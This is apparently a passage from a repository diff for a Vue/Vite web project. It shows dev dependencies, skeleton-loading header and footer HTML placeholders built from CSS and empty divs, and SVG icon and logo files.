"@types/node": "^18.11.12",
|
||||
"@types/uuid": "^11.0.0",
|
||||
"@vitejs/plugin-vue": "^4.0.0",
|
||||
"@vue/eslint-config-prettier": "^7.0.0",
|
||||
"@vue/eslint-config-typescript": "^11.0.0",
|
||||
"@vue/test-utils": "^2.2.6",
|
||||
"@vue/tsconfig": "^0.1.3",
|
||||
"archiver": "^7.0.1",
|
||||
"cypress": "^12.0.2",
|
||||
"eslint": "^8.22.0",
|
||||
"eslint-plugin-cypress": "^2.12.1",
|
||||
"eslint-plugin-vue": "^9.3.0",
|
||||
"jsdom": "^20.0.3",
|
||||
"npm-run-all": "^4.1.5",
|
||||
"prettier": "^2.7.1",
|
||||
"start-server-and-test": "^1.15.2",
|
||||
"typescript": "~4.7.4",
|
||||
"vite": "^4.0.0",
|
||||
"vitest": "^0.25.6",
|
||||
"vue-tsc": "^1.0.12"
|
||||
}
|
||||
}
|
||||
5279
t_global_post_temp2/pnpm-lock.yaml
generated
Normal file
118
t_global_post_temp2/public/Static_zy/footer.html
Normal file
@@ -0,0 +1,118 @@
|
||||
<footer id="page-footer" class="page-footer sk-footer-container">
|
||||
<style>
|
||||
.sk-footer-container {
|
||||
background: linear-gradient(135deg, #1e1e2f 0%, #151522 100%);
|
||||
padding: 60px 20px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
box-shadow: 0 -10px 30px rgba(0,0,0,0.2);
|
||||
}
|
||||
.skeleton-block {
|
||||
background: linear-gradient(90deg, rgba(255, 255, 255, 0.03) 25%, rgba(255, 255, 255, 0.08) 50%, rgba(255, 255, 255, 0.03) 75%);
|
||||
background-size: 400% 100%;
|
||||
animation: skeleton-loading 2s infinite ease-in-out;
|
||||
border-radius: 6px;
|
||||
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
|
||||
transition: transform 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease;
|
||||
border: 1px solid rgba(255, 255, 255, 0.02);
|
||||
}
|
||||
.skeleton-block:hover {
|
||||
transform: translateY(-3px);
|
||||
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
|
||||
border-color: rgba(255, 255, 255, 0.1);
|
||||
}
|
||||
@keyframes skeleton-loading {
|
||||
0% { background-position: 100% 50%; }
|
||||
100% { background-position: 0 50%; }
|
||||
}
|
||||
|
||||
/* === 响应式布局 (适配所有手机) === */
|
||||
.sk-footer-main {
|
||||
display: flex; justify-content: space-between; flex-wrap: wrap; max-width: 1200px; margin: 0 auto; gap: 40px; padding-bottom: 50px;
|
||||
}
|
||||
.sk-footer-col { flex: 1; display: flex; flex-direction: column; gap: 14px; }
|
||||
.sk-footer-col-1 { min-width: 250px; gap: 15px;}
|
||||
.sk-footer-col-nav { min-width: 150px; }
|
||||
.sk-footer-col-last { flex: 1.5; min-width: 250px; gap: 15px; }
|
||||
|
||||
.sk-footer-bottom {
|
||||
max-width: 1200px; margin: 0 auto; border-top: 1px solid rgba(255,255,255,0.05); padding-top: 30px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 20px;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.sk-footer-container { padding: 40px 15px 30px; }
|
||||
.sk-footer-main { flex-direction: column; gap: 30px; padding-bottom: 30px; }
|
||||
|
||||
/* 手机端改成全宽或两列堆叠 */
|
||||
.sk-footer-col-1 { min-width: 100%; align-items: center; text-align: center; }
|
||||
.sk-logo-sk { margin: 0 auto; }
|
||||
|
||||
/* 链接区改成两列并排 */
|
||||
.sk-nav-wrap { display: flex; flex-direction: row; gap: 20px; width: 100%; justify-content: space-between; }
|
||||
.sk-footer-col-nav { min-width: calc(50% - 10px); }
|
||||
|
||||
/* 订阅区全宽 */
|
||||
.sk-footer-col-last { min-width: 100%; align-items: center; }
|
||||
.sk-social-wrap { justify-content: center; }
|
||||
|
||||
.sk-footer-bottom { flex-direction: column; align-items: center; }
|
||||
.sk-policy-wrap { justify-content: center; }
|
||||
}
|
||||
</style>
|
||||
|
||||
<!-- 主体区块 -->
|
||||
<div class="sk-footer-main">
|
||||
<!-- 品牌/Logo区域 -->
|
||||
<div class="sk-footer-col sk-footer-col-1">
|
||||
<div class="skeleton-block sk-logo-sk" style="width: 140px; height: 40px; border-radius: 20px;"></div>
|
||||
<div class="skeleton-block" style="width: 100%; height: 12px; margin-top: 10px; max-width: 300px;"></div>
|
||||
<div class="skeleton-block" style="width: 90%; height: 12px; max-width: 270px;"></div>
|
||||
<div class="skeleton-block" style="width: 75%; height: 12px; max-width: 220px;"></div>
|
||||
</div>
|
||||
|
||||
<div class="sk-nav-wrap">
|
||||
<!-- 链接列 1 -->
|
||||
<div class="sk-footer-col sk-footer-col-nav">
|
||||
<div class="skeleton-block" style="width: 60%; height: 18px; margin-bottom: 8px;"></div>
|
||||
<div class="skeleton-block" style="width: 80%; height: 10px;"></div>
|
||||
<div class="skeleton-block" style="width: 70%; height: 10px;"></div>
|
||||
<div class="skeleton-block" style="width: 90%; height: 10px;"></div>
|
||||
<div class="skeleton-block" style="width: 75%; height: 10px;"></div>
|
||||
</div>
|
||||
|
||||
<!-- 链接列 2 -->
|
||||
<div class="sk-footer-col sk-footer-col-nav">
|
||||
<div class="skeleton-block" style="width: 55%; height: 18px; margin-bottom: 8px;"></div>
|
||||
<div class="skeleton-block" style="width: 65%; height: 10px;"></div>
|
||||
<div class="skeleton-block" style="width: 85%; height: 10px;"></div>
|
||||
<div class="skeleton-block" style="width: 75%; height: 10px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 订阅/社交区域 -->
|
||||
<div class="sk-footer-col sk-footer-col-last">
|
||||
<div class="skeleton-block" style="width: 120px; height: 18px; margin-bottom: 5px;"></div>
|
||||
<!-- 模仿输入框和大按钮 -->
|
||||
<div class="skeleton-block" style="width: 100%; max-width: 350px; height: 45px; border-radius: 25px;"></div>
|
||||
<!-- 模仿社交图标 -->
|
||||
<div class="sk-social-wrap" style="display: flex; gap: 15px; margin-top: 15px; width: 100%; max-width: 350px;">
|
||||
<div class="skeleton-block" style="width: 40px; height: 40px; border-radius: 50%;"></div>
|
||||
<div class="skeleton-block" style="width: 40px; height: 40px; border-radius: 50%;"></div>
|
||||
<div class="skeleton-block" style="width: 40px; height: 40px; border-radius: 50%;"></div>
|
||||
<div class="skeleton-block" style="width: 40px; height: 40px; border-radius: 50%;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 底部版权/协议区块 -->
|
||||
<div class="sk-footer-bottom">
|
||||
<!-- 版权 -->
|
||||
<div class="skeleton-block" style="width: 200px; height: 12px;"></div>
|
||||
<!-- 政策链接 -->
|
||||
<div class="sk-policy-wrap" style="display: flex; gap: 25px;">
|
||||
<div class="skeleton-block" style="width: 60px; height: 12px;"></div>
|
||||
<div class="skeleton-block" style="width: 60px; height: 12px;"></div>
|
||||
<div class="skeleton-block" style="width: 60px; height: 12px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
102
t_global_post_temp2/public/Static_zy/header.html
Normal file
@@ -0,0 +1,102 @@
|
||||
<header id="page-header" class="page-header sk-header-container">
|
||||
<style>
|
||||
.sk-header-container {
|
||||
background: linear-gradient(135deg, #1e1e2f 0%, #151522 100%);
|
||||
padding: 15px 30px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
box-shadow: 0 5px 20px rgba(0,0,0,0.3);
|
||||
}
|
||||
.skeleton-block {
|
||||
background: linear-gradient(90deg, rgba(255, 255, 255, 0.03) 25%, rgba(255, 255, 255, 0.08) 50%, rgba(255, 255, 255, 0.03) 75%);
|
||||
background-size: 400% 100%;
|
||||
animation: skeleton-loading 2s infinite ease-in-out;
|
||||
border-radius: 6px;
|
||||
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
|
||||
transition: transform 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease;
|
||||
border: 1px solid rgba(255, 255, 255, 0.02);
|
||||
}
|
||||
.skeleton-block:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 6px 15px rgba(0, 0, 0, 0.3);
|
||||
border-color: rgba(255, 255, 255, 0.1);
|
||||
}
|
||||
@keyframes skeleton-loading {
|
||||
0% { background-position: 100% 50%; }
|
||||
100% { background-position: 0 50%; }
|
||||
}
|
||||
|
||||
/* === 响应式布局 (适配所有手机) === */
|
||||
.sk-header-wrap {
|
||||
max-width: 1400px; margin: 0 auto; display: flex; flex-direction: column; gap: 20px;
|
||||
}
|
||||
.sk-top-util {
|
||||
display: flex; justify-content: flex-end; gap: 20px; padding-bottom: 12px; border-bottom: 1px solid rgba(255,255,255,0.05);
|
||||
}
|
||||
.sk-main-nav {
|
||||
display: flex; justify-content: space-between; align-items: center; gap: 30px; padding-top: 5px; flex-wrap: wrap;
|
||||
}
|
||||
.sk-logo-box { width: 220px; height: 50px; border-radius: 8px; }
|
||||
.sk-search-box { flex: 1; max-width: 600px; height: 42px; border-radius: 25px; min-width: 250px; }
|
||||
.sk-icons-box { display: flex; gap: 15px; align-items: center; }
|
||||
.sk-bottom-cats { display: flex; justify-content: center; gap: 50px; padding-top: 10px; flex-wrap: wrap; }
|
||||
.sk-mobile-menu-btn { display: none; width: 40px; height: 40px; border-radius: 6px; }
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.sk-header-container { padding: 10px 15px; }
|
||||
.sk-header-wrap { gap: 10px; }
|
||||
/* 手机端隐藏顶部小条和底部多列导航,收起到侧边栏按钮 */
|
||||
.sk-top-util, .sk-bottom-cats { display: none; }
|
||||
/* 重新排列主导航:菜单按钮, Logo, 购物车图标 */
|
||||
.sk-main-nav { gap: 10px; justify-content: space-between; padding-top: 0; }
|
||||
.sk-mobile-menu-btn { display: block; }
|
||||
.sk-logo-box { width: 140px; height: 35px; margin: 0 auto; }
|
||||
.sk-search-box { width: 100%; max-width: 100%; order: 4; height: 38px; margin-top: 5px;}
|
||||
.sk-user-btn { display: none; } /* 手机端通常把个人中心放到汉堡菜单里 */
|
||||
.sk-icons-box { gap: 10px; }
|
||||
}
|
||||
</style>
|
||||
|
||||
<div class="sk-header-wrap">
|
||||
|
||||
<!-- 顶部小工具栏 (Utility Bar) - 手机端隐藏 -->
|
||||
<div class="sk-top-util">
|
||||
<div class="skeleton-block" style="width: 80px; height: 12px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 70px; height: 12px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 85px; height: 12px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 60px; height: 12px; border-radius: 4px;"></div>
|
||||
</div>
|
||||
|
||||
<!-- 主导航条 -->
|
||||
<div class="sk-main-nav">
|
||||
|
||||
<!-- 手机端汉堡菜单占位 (仅移动端显示) -->
|
||||
<div class="skeleton-block sk-mobile-menu-btn"></div>
|
||||
|
||||
<!-- 品牌 Logo 占位 -->
|
||||
<div class="skeleton-block sk-logo-box"></div>
|
||||
|
||||
<!-- 右侧图标 (购物车等) -->
|
||||
<div class="sk-icons-box">
|
||||
<!-- 移动端隐藏的长按钮,仅保留图标 -->
|
||||
<div class="skeleton-block sk-user-btn" style="width: 110px; height: 40px; border-radius: 20px;"></div>
|
||||
<div class="skeleton-block" style="width: 40px; height: 40px; border-radius: 50%;"></div>
|
||||
</div>
|
||||
|
||||
<!-- 居中长搜索框占位 (移动端会掉到下一排占满全宽) -->
|
||||
<div class="skeleton-block sk-search-box"></div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- 下方导航分类栏 - 手机端隐藏 -->
|
||||
<div class="sk-bottom-cats">
|
||||
<div class="skeleton-block" style="width: 65px; height: 16px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 85px; height: 16px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 75px; height: 16px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 100px; height: 16px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 60px; height: 16px; border-radius: 4px;"></div>
|
||||
<div class="skeleton-block" style="width: 90px; height: 16px; border-radius: 4px;"></div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</header>
|
||||
|
After Width: | Height: | Size: 502 KiB |
1
t_global_post_temp2/public/cardloading.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.0 KiB |
52
t_global_post_temp2/public/images/nusz-logo-allo.svg
Normal file
@@ -0,0 +1,52 @@
|
||||
<svg width="34" height="48" viewBox="0 0 34 48" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M3.46015 33.2363C1.91756 33.2363 0.659424 31.9782 0.659424 30.4356V3.04096C0.659424 1.49837 1.91756 0.240234 3.46015 0.240234H30.8657C32.4083 0.240234 33.6664 1.49837 33.6664 3.04096V30.4465C33.6664 31.9891 32.4083 33.2472 30.8657 33.2472H3.46015V33.2363Z" fill="#597B91"/>
|
||||
<path d="M30.8657 0.481375C32.277 0.481375 33.4257 1.63011 33.4257 3.04141V30.447C33.4257 31.8583 32.277 33.007 30.8657 33.007H3.46011C2.04881 33.007 0.900076 31.8583 0.900076 30.447V3.04141C0.900076 1.63011 2.04881 0.481375 3.46011 0.481375H30.8657ZM30.8657 0H3.46011C1.78624 0 0.418701 1.36754 0.418701 3.04141V30.447C0.418701 32.1208 1.78624 33.4884 3.46011 33.4884H30.8657C32.5395 33.4884 33.9071 32.1208 33.9071 30.447V3.04141C33.9071 1.36754 32.5395 0 30.8657 0Z" fill="white"/>
|
||||
<path d="M10.7135 3.70898H11.1839L12.278 5.3938V3.70898H12.7703V6.27996H12.2998L11.2058 4.59515V6.27996H10.7135V3.70898Z" fill="white"/>
|
||||
<path d="M13.3174 3.70898H14.7177V4.19036H13.7988V4.64985H14.7177V5.12029H13.7988V5.79859H14.7177V6.27996H13.3174V3.70898Z" fill="white"/>
|
||||
<path d="M15.3851 3.70898H15.8665L16.4572 5.5032L17.0589 3.70898H17.5294L17.9561 6.27996H17.4856L17.2121 4.66079L16.6651 6.27996H16.2384L15.7023 4.66079L15.4179 6.27996H14.9365L15.3851 3.70898Z" fill="white"/>
|
||||
<path d="M18.1858 3.70898H19.7394L18.8204 5.80953H19.6737V6.27996H18.1093L19.0173 4.2013H18.1858V3.70898Z" fill="white"/>
|
||||
<path d="M20.0675 3.70898H21.4679V4.19036H20.5489V4.64985H21.4679V5.12029H20.5489V5.79859H21.4679V6.27996H20.0675V3.70898Z" fill="white"/>
|
||||
<path d="M21.6429 3.70898H23.0652V4.19036H22.5948V6.27996H22.1024V4.19036H21.6429V3.70898Z" fill="white"/>
|
||||
<path d="M23.3278 3.70898H23.8091V6.27996H23.3278V3.70898Z" fill="white"/>
|
||||
<path d="M6.93909 7.9975H7.4314V9.66043C7.4314 9.80265 7.44234 9.90111 7.46422 9.96676C7.4861 10.0215 7.52987 10.0762 7.58457 10.109C7.63927 10.1418 7.71585 10.1637 7.79243 10.1637C7.87996 10.1637 7.95654 10.1418 8.01124 10.109C8.07688 10.0652 8.12064 10.0215 8.14252 9.95582C8.1644 9.89017 8.17534 9.78077 8.17534 9.60572V7.9975H8.66766V9.52914C8.66766 9.79171 8.65672 9.96676 8.6239 10.0652C8.59108 10.1637 8.53638 10.2621 8.45979 10.3497C8.37227 10.4481 8.28475 10.5138 8.17534 10.5575C8.06594 10.6013 7.9456 10.6232 7.80337 10.6232C7.61739 10.6232 7.45328 10.5794 7.322 10.4919C7.17977 10.4044 7.08131 10.295 7.02661 10.1746C6.97191 10.0433 6.93909 9.82453 6.93909 9.5182V7.9975ZM7.8909 7.11133H8.45979L7.82525 7.80057H7.4861L7.8909 7.11133Z" fill="white"/>
|
||||
<path d="M8.95215 7.99805H10.3744V8.47942H9.90396V10.569H9.41164V8.47942H8.95215V7.99805Z" fill="white"/>
|
||||
<path d="M10.6698 7.99805H11.2496C11.6216 7.99805 11.8951 8.04181 12.0811 8.14027C12.2671 8.22779 12.4093 8.38096 12.5297 8.58883C12.65 8.79669 12.7047 9.03738 12.7047 9.32183C12.7047 9.51875 12.6719 9.70474 12.6062 9.86884C12.5406 10.0329 12.4531 10.1752 12.3327 10.2846C12.2124 10.394 12.092 10.4706 11.9608 10.5143C11.8295 10.5581 11.5888 10.58 11.2606 10.58H10.6698V7.99805ZM11.1621 8.46848V10.0877H11.3919C11.6107 10.0877 11.7748 10.0658 11.8732 10.0111C11.9717 9.95637 12.0592 9.86884 12.1249 9.7485C12.1905 9.62816 12.2233 9.47499 12.2233 9.29995C12.2233 9.02644 12.1467 8.81857 11.9936 8.66541C11.8514 8.53412 11.6325 8.45754 11.3372 8.45754H11.1621V8.46848Z" fill="white"/>
|
||||
<path d="M13.4268 7.11133H13.9957L13.3611 7.80057H13.022L13.4268 7.11133ZM13.0986 7.9975H13.5799V10.5685H13.0986V7.9975Z" fill="white"/>
|
||||
<path d="M14.7397 7.99805H15.232V9.70474C15.232 9.97825 15.2101 10.1642 15.1663 10.2736C15.1226 10.383 15.0569 10.4706 14.9585 10.5362C14.86 10.6018 14.7397 10.6347 14.5974 10.6347C14.313 10.6347 14.0723 10.5143 13.8754 10.2627L14.2255 9.93449C14.302 10.022 14.3677 10.0877 14.4224 10.1095C14.4771 10.1424 14.5318 10.1533 14.5865 10.1533C14.6412 10.1533 14.674 10.1314 14.7068 10.0877C14.7287 10.0439 14.7506 9.94543 14.7506 9.79226V7.99805H14.7397Z" fill="white"/>
|
||||
<path d="M15.7899 7.99805H17.059V8.47942H16.2713V8.94986H17.059V9.42029H16.2713V10.58H15.7899V7.99805Z" fill="white"/>
|
||||
<path d="M17.4309 7.99805H17.9123V10.569H17.4309V7.99805Z" fill="white"/>
|
||||
<path d="M18.2952 7.99805H19.8487L18.9297 10.0986H19.7831V10.569H18.2186L19.1267 8.49036H18.2952V7.99805Z" fill="white"/>
|
||||
<path d="M20.1769 7.99805H21.5772V8.47942H20.6583V8.93892H21.5772V9.40935H20.6583V10.0877H21.5772V10.569H20.1769V7.99805Z" fill="white"/>
|
||||
<path d="M21.7523 7.99805H23.1746V8.47942H22.7041V10.569H22.2118V8.47942H21.7523V7.99805Z" fill="white"/>
|
||||
<path d="M23.47 7.9975H24.8703V8.47887H23.9513V8.93836H24.8703V9.4088H23.9513V10.0871H24.8703V10.5685H23.47V7.9975ZM24.2577 7.11133H24.8266L24.192 7.80057H23.8529L24.2577 7.11133Z" fill="white"/>
|
||||
<path d="M26.6317 8.34815L26.2707 8.66542C26.1394 8.49038 26.0191 8.40285 25.8878 8.40285C25.8221 8.40285 25.7674 8.42473 25.7346 8.45755C25.6909 8.49038 25.669 8.53414 25.669 8.5779C25.669 8.62166 25.6799 8.66542 25.7127 8.69824C25.7565 8.75294 25.8768 8.86235 26.0738 9.02645C26.2598 9.17962 26.3692 9.27808 26.4129 9.32184C26.5114 9.4203 26.577 9.51877 26.6208 9.60629C26.6646 9.69381 26.6864 9.79228 26.6864 9.90168C26.6864 10.1095 26.6099 10.2846 26.4676 10.4268C26.3254 10.569 26.1285 10.6347 25.8987 10.6347C25.7127 10.6347 25.5596 10.5909 25.4174 10.5034C25.2861 10.4159 25.1657 10.2737 25.0673 10.0767L25.483 9.8251C25.6033 10.0548 25.7456 10.1642 25.9097 10.1642C25.9972 10.1642 26.0628 10.1424 26.1175 10.0877C26.1722 10.0439 26.2051 9.97826 26.2051 9.92356C26.2051 9.86886 26.1832 9.80322 26.1394 9.74851C26.0957 9.69381 25.9972 9.60629 25.855 9.48595C25.5705 9.2562 25.3955 9.08115 25.3079 8.96081C25.2314 8.84047 25.1876 8.70918 25.1876 8.58884C25.1876 8.41379 25.2532 8.26063 25.3955 8.12934C25.5268 7.99806 25.7018 7.94336 25.8987 7.94336C26.03 7.94336 26.1504 7.97618 26.2598 8.03088C26.3801 8.08558 26.5004 8.18405 26.6317 8.34815Z" fill="white"/>
|
||||
<path d="M27.0803 7.99805H27.5617V10.569H27.0803V7.99805Z" fill="white"/>
|
||||
<path d="M3.42726 12.6362L3.06623 12.9535C2.93495 12.7785 2.8146 12.6909 2.68332 12.6909C2.61768 12.6909 2.56297 12.7128 2.53015 12.7456C2.48639 12.7785 2.46451 12.8222 2.46451 12.866C2.46451 12.9097 2.47545 12.9535 2.50827 12.9863C2.55203 13.041 2.67238 13.1504 2.8693 13.3145C3.05529 13.4677 3.16469 13.5662 3.20845 13.6099C3.30692 13.7084 3.37256 13.8069 3.41632 13.8944C3.46008 13.9819 3.48196 14.0804 3.48196 14.1898C3.48196 14.3976 3.40538 14.5727 3.26316 14.7149C3.12093 14.8571 2.92401 14.9228 2.69426 14.9228C2.50827 14.9228 2.35511 14.879 2.21288 14.7915C2.0816 14.704 1.96126 14.5617 1.86279 14.3648L2.27853 14.1132C2.39887 14.3429 2.54109 14.4523 2.7052 14.4523C2.79272 14.4523 2.85836 14.4305 2.91307 14.3758C2.96777 14.332 3.00059 14.2663 3.00059 14.2116C3.00059 14.1569 2.97871 14.0913 2.93495 14.0366C2.89118 13.9819 2.79272 13.8944 2.6505 13.774C2.36605 13.5443 2.191 13.3692 2.10348 13.2489C2.0269 13.1286 1.98314 12.9973 1.98314 12.8769C1.98314 12.7019 2.04878 12.5487 2.191 12.4174C2.32229 12.2861 2.49733 12.2314 2.69426 12.2314C2.82554 12.2314 2.94589 12.2643 3.05529 12.319C3.16469 12.3737 3.28504 12.4831 3.42726 12.6362Z" fill="white"/>
|
||||
<path d="M3.7664 12.2861H5.31993L4.40094 14.3867H5.25429V14.8571H3.68982L4.59787 12.7784H3.7664V12.2861Z" fill="white"/>
|
||||
<path d="M6.86255 12.2207C7.22358 12.2207 7.54085 12.352 7.80342 12.6146C8.06599 12.8771 8.19727 13.1944 8.19727 13.5773C8.19727 13.9493 8.06599 14.2665 7.81436 14.5291C7.55179 14.7917 7.24546 14.923 6.87349 14.923C6.49058 14.923 6.17331 14.7917 5.91074 14.5182C5.65912 14.2556 5.52783 13.9383 5.52783 13.5664C5.52783 13.3257 5.58253 13.0959 5.70288 12.8881C5.82322 12.6802 5.98733 12.5161 6.19519 12.3957C6.40306 12.2863 6.62187 12.2207 6.86255 12.2207ZM6.86255 12.7021C6.62187 12.7021 6.42494 12.7896 6.26083 12.9537C6.09673 13.1178 6.02015 13.3257 6.02015 13.5882C6.02015 13.8727 6.11861 14.0915 6.32648 14.2665C6.47964 14.3978 6.66563 14.4635 6.87349 14.4635C7.10324 14.4635 7.30017 14.3759 7.46427 14.2118C7.62838 14.0477 7.70496 13.8399 7.70496 13.5882C7.70496 13.3476 7.61744 13.1397 7.45333 12.9646C7.28923 12.7896 7.0923 12.7021 6.86255 12.7021Z" fill="white"/>
|
||||
<path d="M8.61304 12.2861H9.10535V14.3867H9.81647V14.8571H8.61304V12.2861Z" fill="white"/>
|
||||
<path d="M12.5296 12.7019L12.1904 13.041C11.9716 12.8113 11.72 12.6909 11.4246 12.6909C11.173 12.6909 10.9651 12.7785 10.7901 12.9426C10.615 13.1067 10.5385 13.3145 10.5385 13.5552C10.5385 13.8069 10.626 14.0147 10.801 14.1898C10.9761 14.3648 11.1949 14.4523 11.4574 14.4523C11.6216 14.4523 11.7638 14.4195 11.8841 14.3429C12.0045 14.2773 12.092 14.1569 12.1686 14.0147H11.4246V13.5552H12.7156V13.6646C12.7156 13.8944 12.6609 14.1022 12.5405 14.2992C12.4202 14.4961 12.278 14.6493 12.092 14.7587C11.906 14.8681 11.6872 14.9228 11.4356 14.9228C11.173 14.9228 10.9323 14.8681 10.7244 14.7477C10.5166 14.6274 10.3525 14.4633 10.2321 14.2554C10.1118 14.0366 10.0461 13.8069 10.0461 13.5662C10.0461 13.227 10.1555 12.9316 10.3853 12.68C10.6479 12.3846 10.998 12.2314 11.4246 12.2314C11.6434 12.2314 11.8622 12.2752 12.0482 12.3518C12.2014 12.4174 12.3655 12.5378 12.5296 12.7019Z" fill="white"/>
|
||||
<path d="M13.9081 12.2866H14.4004L15.385 14.8575H14.8818L14.6849 14.3324H13.6346L13.4267 14.8575H12.9235L13.9081 12.2866ZM14.1597 12.9649L13.8206 13.851H14.5098L14.1597 12.9649ZM14.2363 11.4004H14.8052L14.1707 12.0896H13.8315L14.2363 11.4004Z" fill="white"/>
|
||||
<path d="M15.7242 12.2861H16.2166V14.3867H16.9277V14.8571H15.7242V12.2861Z" fill="white"/>
|
||||
<path d="M17.0151 12.2861H18.4374V12.7675H17.9669V14.8571H17.4746V12.7675H17.0151V12.2861Z" fill="white"/>
|
||||
<path d="M19.5095 12.2861H20.0018L20.9865 14.8571H20.4832L20.2863 14.332H19.236L19.0282 14.8571H18.5249L19.5095 12.2861ZM19.7612 12.9644L19.422 13.8506H20.1113L19.7612 12.9644Z" fill="white"/>
|
||||
<path d="M21.085 12.2861H22.5072V12.7675H22.0368V14.8571H21.5445V12.7675H21.085V12.2861Z" fill="white"/>
|
||||
<path d="M24.017 12.2209C24.378 12.2209 24.6953 12.3522 24.9578 12.6148C25.2204 12.8773 25.3517 13.1946 25.3517 13.5775C25.3517 13.9495 25.2204 14.2668 24.9688 14.5293C24.7062 14.7919 24.3999 14.9232 24.0279 14.9232C23.645 14.9232 23.3277 14.7919 23.0652 14.5184C22.8135 14.2558 22.6823 13.9386 22.6823 13.5666C22.6823 13.3259 22.737 13.0961 22.8573 12.8883C22.9776 12.6804 23.1417 12.5163 23.3496 12.396C23.5575 12.2866 23.7763 12.2209 24.017 12.2209ZM24.006 12.7023C23.7653 12.7023 23.5684 12.7898 23.4043 12.9539C23.2402 13.118 23.1636 13.3259 23.1636 13.5885C23.1636 13.8729 23.2621 14.0917 23.47 14.2668C23.6231 14.398 23.8091 14.4637 24.017 14.4637C24.2467 14.4637 24.4436 14.3762 24.6077 14.2121C24.7719 14.048 24.8484 13.8401 24.8484 13.5885C24.8484 13.3478 24.7609 13.1399 24.5968 12.9649C24.4436 12.7898 24.2467 12.7023 24.006 12.7023ZM24.1045 11.4004H24.6734L24.0389 12.0896H23.6997L24.1045 11.4004Z" fill="white"/>
|
||||
<path d="M26.5989 12.2861H28.1525L27.2335 14.3867H28.0868V14.8571H26.5223L27.4304 12.7784H26.5989V12.2861Z" fill="white"/>
|
||||
<path d="M28.5244 12.2861H29.0386C29.3231 12.2861 29.52 12.308 29.6403 12.3627C29.7607 12.4174 29.8591 12.494 29.9357 12.6143C30.0123 12.7347 30.0451 12.866 30.0451 13.0301C30.0451 13.1942 30.0014 13.3364 29.9248 13.4567C29.8482 13.5662 29.7169 13.6537 29.5637 13.7193L30.1764 14.8571H29.6403L29.0605 13.774H29.0167V14.8571H28.5244V12.2861ZM29.0058 13.2926H29.159C29.3121 13.2926 29.4215 13.2708 29.4762 13.227C29.5309 13.1832 29.5637 13.1176 29.5637 13.0191C29.5637 12.9644 29.5528 12.9097 29.52 12.8769C29.4872 12.8331 29.4543 12.8003 29.3996 12.7894C29.3559 12.7675 29.2574 12.7675 29.1371 12.7675H29.0058V13.2926Z" fill="white"/>
|
||||
<path d="M30.2749 12.2861H31.6971V12.7675H31.2267V14.8571H30.7344V12.7675H30.2749V12.2861Z" fill="white"/>
|
||||
